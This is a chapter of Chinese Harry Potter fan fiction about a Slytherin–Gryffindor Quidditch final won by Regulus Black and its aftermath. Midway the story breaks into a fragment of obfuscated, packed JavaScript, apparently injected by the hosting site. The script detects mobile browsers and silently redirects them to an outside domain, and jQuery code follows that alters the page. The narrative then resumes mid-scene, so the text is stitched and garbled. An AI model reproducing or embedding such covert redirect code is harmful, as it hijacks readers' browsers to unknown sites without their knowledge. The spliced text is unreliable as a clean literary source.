斯莱特林和格兰芬多的魁地奇比赛被安排在学年的最后一场。随着比赛的临近，本就不睦的学院关系变本加厉。
全体魁地奇球员都被本学院的学生团团围住，看到系着对方学院领带的人就凶狠地彼此审视，一边提防着对方动手，一边想要抢先动手。
“危险的情形。”卡莉娜在办公桌前说，雷古勒斯在她旁边埋头写作业。
“比几年前更加紧张——”吉迪翁煞有介事地说。
“医疗翼的床半个月就填满了——”费比安同样煞有介事地说。
“前几年还需要一个月——”吉迪翁回顾往昔。
“世风日下——”费比安叹息。
“人心不古——”吉迪翁总结。
“这真是霍格沃茨自古以来的传统，是不是？”马琳辛辣地说，“一言不合，大打出手……庞弗雷夫人总会把人治好，因此不算什么大事……”
“有趣的是你们在这里相聚。”爱米琳眨巴着眼，“我猜想你们学院告诉你们最近别来协会……”
“他们的担心很有道理……”马琳点头说，“但实际来看，这里哪个人会为了魁地奇大打出手……”
所有人的目光射向卡莉娜。
“这一茬真是没法被忘记吗？”她哭笑不得地说，“那家伙甚至已经毕业了！”
所有人把目光收回来。
马琳改口道：“这里没有人会为了魁地奇对对方球员大打出手……”
雷古勒斯缓缓抬起头。
“我只是做了大家都想做的事。”卡莉娜嘴唇不动地说，“不要过分联想，雷尔。”
“我只是想说，”雷古勒斯用一根手指挠了挠脸，“我们的队伍空前强大……希格斯认为我们能拿下今年的魁地奇杯。”
“这绝不可能！”吉迪翁惊恐地说。
“本吉当队长以来我们没有输过球赛……”费比安骄傲地说。
“那么这就是第一次。”雷古勒斯说，“我们以大比分打败拉文克劳，之后又拿下赫奇帕奇……如果格兰芬多不能领先五十多分时拿下金色飞贼——今年的奖杯就是我们的。”
“真是耻辱的回忆。”爱米琳用手捂住眼睛，“我要申请一把新扫帚，卡莉娜——”
“拿这张字条写信给以太，他们会给你一把新的。”卡莉娜把羊皮纸的边裁下来，“但手工定制的事另说……”
“我只是开玩笑！”爱米琳惊恐地说，“这把扫帚值得几年的圣诞礼物——我更愿意要圣诞礼物。”
“可惜。”卡莉娜惋惜地说，“给你们送圣诞礼物太难——其实我可以强迫你们收下很贵的东西……然后十几年不再送礼……”
“不！”其他人异口同声地喊道。
“今年的局势让人疯狂。”马琳靠在墙上说，“本吉已经彻底疯狂……因为这让人绝望的分差——我们拥有绝佳的追球手队伍……但雷古勒斯找球的速度太快，我们可能来不及拿分……”
“你的分析让我大松一口气，”卡莉娜越过雷古勒斯的肩膀对几位格兰芬多球员说，“我挺想看到魁地奇杯摆在斯拉格霍恩教授的办公室……和他的富丽堂皇相得益彰……”
“想都别想！”吉迪翁和费比安异口同声地说。
“我们是不会放弃的。”马琳自豪地说，“我们从不向困难投降。”
“勇气。”卡莉娜笑着说，“我欣赏你们的斗志。”
————
“我一直说我欣赏他们的斗志。”卡莉娜拿着望远镜坐在魁地奇球场的最高处，脸上涂着银绿色的油彩。
“是啊，”伊莎贝拉在旁边拿着一样的望远镜，“从未见过如此焦灼的比赛——有任何飞贼的迹象吗？”
“你能指望我看到什么。”卡莉娜淡淡地说，“我在球类上毫无天赋……指的就是我找不到它们在哪……而不是我不会拿球砸人——在这方面我倒是天赋异禀……”
伊莎贝拉吃吃地笑出声来。
解说员在对着扬声筒大吼：“鬼飞球被传给马琳——詹姆——西里斯，然后又是马琳——游走球擦着希格斯的脑袋过去——干得好吉迪翁或者费比安！马琳突破了斯莱特林的防线——詹姆从包围里拿下了球——他进球了！”
三面观赛台上传来热烈的欢呼声。
“我们是很不受欢迎，是吧？”奥利维亚在卡莉娜另一边说，举着望远镜的手微微颤抖着。
“反过来想，你会觉得很有意思——”塞巴斯蒂安在她们前面说，“看他们想把你痛扁一顿但是不能——至少明面上不能——”
“没有在问你的意见……”奥利维亚咬牙切齿地说。
西弗勒斯像根木头一样戳在他们旁边，塞巴斯蒂安往他手里强硬地塞了一柄斯莱特林小旗子。
“不要这么严肃！”塞巴斯蒂安在震耳欲聋的声响中对他的耳朵喊道，“躁动起来！”
西弗勒斯的脸板得更紧。
“他正在想着如何将你暗杀，”奥利维亚风凉地说，“塞巴斯蒂安·莎菲克，卒于17岁……”
解说员的声音刺破周遭的叫喊声：“雷古勒斯·布莱克动了——他是看到飞贼了吗？”
所有人的目光转向高空中的一个小点，雷古勒斯正在向地面高速俯冲。
格兰芬多的找球手似乎有些打不定主意，但随着雷古勒斯离地面越来越近，他忍不住调转扫帚跟上。
卡莉娜看到西里斯在冲他们的追球手大喊大叫。
“噢，非常明智……”卡莉娜说，“雷古勒斯完全没看到球……他非常喜欢玩这一手——他们两个家伙都喜欢玩这一手……”
“什么？”伊莎贝拉没有听清卡莉娜的声音。
“我说格兰芬多的找球手要遭殃了！”卡莉娜大声说。
西里斯和詹姆调转扫帚冲他们的找球手飞去——只来得及在他撞到地面前把这家伙抱住。
而雷古勒斯已经像根羽毛一样重新飘回球场上空。
本吉在格兰芬多的球门前同样张着嘴巴大喊大叫。
在这个无比混乱的时刻，雷古勒斯冲着本吉开始加速——
“那是个假动作！”解说员在台上挥舞着手臂，“虽然他是个斯莱特林……但没办法否认他是个优秀的找球手——等等，他真的看到飞贼了——就在格兰芬多的球框旁边——-本吉——”
在解说员绝望的喊叫声中，雷古勒斯已经高高举起那个小小的金色飞贼。
所有斯莱特林的球员们都冲他涌过去，在半空中凑成一团。
“雷古勒斯！雷古勒斯！”斯莱特林的看台上爆发出惊天动地的喊声。
“我们夺杯了！”的声音在卡莉娜前面此起彼伏地响着。
卡莉娜举着相机——她成功在雷古勒斯抓住金色飞贼的那一刻拍下了照片——他的笑容夺目，和往日里那个矜持而有些忧郁的男孩大不相同。
“不知道为什么，”卡莉娜对伊莎贝拉说，“此刻我竟然有落泪的冲动……”
“这说明你依然是一个会呼吸的活人——而不是一台机器……”伊莎贝拉翻了一个大大的白眼，“祝贺你——”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472844|185562||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“噢，我们忍不住趾高气昂起来了，是不是？”奥利维亚喜气洋洋地在另一边说。其他斯莱特林学生们同样高兴得溢于言表，一些学生们对其他看台发出“嘘”的声音。
“这样看，我们遭到讨厌也是正常的……”塞巴斯蒂安在前面幽幽地说，“多讨人嫌呐……多招人恨呐……”
西弗勒斯看起来想要马上消失不见。
“我现在不和你计较。”奥利维亚趾高气昂地对塞巴斯蒂安说，“我们要赶紧回去——帮忙组织欢庆会……”
“你们先回去，”卡莉娜对他们挥着手里的相机，“我先去一趟他们的更衣室……”
“去吧！”伊莎贝拉说，“把他们的照片拍得好看一些——还可以贴在公告栏里……”
卡莉娜一路小跑着推开更衣室的门，里头一片嘈杂。所有人都闹哄哄的，穿着球衣推推搡搡。
“雷尔——”她喊道。
“卡莉！”雷古勒斯从无数双手的包围里勉强挤出来，自己的手里还捏着那只小小的金飞贼，“你来啦——”
“我来给你们拍照——”她笑眯眯地说，“希格斯，组织一下你的队伍！”
很快，斯莱特林的球员们就排好位置，勾肩搭背地站着或者坐着。雷古勒斯坐在最中央，脸上洋溢着笑容。
每一个球员都被分发到一张照片，其他照片被贴在斯莱特林的布告栏上。所有人都忍不住在布告栏前站一会儿，欣赏魁地奇杯端在斯莱特林球队里的场景。
“我想我拍得不错。”卡莉娜对雷古勒斯说。
他端详着手里镶着金边的照片，脸上的表情像萨鲁曼坐在猫爬架最高处的样子。
“拍得很好看。”雷古勒斯有些羞涩地说，“我要把它贴在家里的墙上。”
“我的荣幸。”卡莉娜把他往一片欢腾的斯莱特林球队那里推去，“享受今天，亲爱的——都是你应得的……”
卡莉娜偷偷溜出斯莱特林的公共休息室，带着相机往炼金协会走。
她一直不喜欢人多的场合，如果没有社交的必要，她想要静静地自己待一会儿——而且今年还有O.W.Ls，这些时间可以用来多看几眼自己的笔记。
但她打开炼金协会大门的时候，看到詹姆、西里斯、吉迪翁和费比安都垂头丧气地围着会议桌坐着。
莱姆斯抱着满怀的黄油啤酒从另一扇门冒出来：“只是今年的失利，我们还有很多机会——”
他看见卡莉娜在大门口站着，有些尴尬地笑着，把手里的黄油啤酒分发给每一个人。
“马琳正在魁地奇球场上陪着本吉，如果你想问的话。”西里斯把凳子翘起来，脚搭在会议桌上。
“莱姆斯把我们放进来的，如果你想知道更多。”詹姆抱住自己乱糟糟的脑袋。
莉莉从莱姆斯关上的门里走出来，拎着几袋子糖果：“吃点什么吧，你们今天打得很棒——噢，卡莉娜！”
“是的，你们今天打得很棒。”卡莉娜沉着地说，“如果想要其他东西，可以去协会的厨房再掏一点——巴兹尔炸了很多零食放在橱柜里。”
她对着一间房里的格兰芬多们浅浅地露出一个笑容，打开办公室的门缩了进去。
普威特双子的声音隔着门板也能听见。
“让我们向着厨房进发！”吉迪翁喊道。
“吃光巴兹尔的劳动成果！”费比安跟着喊道。
一阵乱糟糟的声音响起，卡莉娜摇着头翻开自己的魔咒课笔记。
活力四射，格兰芬多们，不管在什么时候。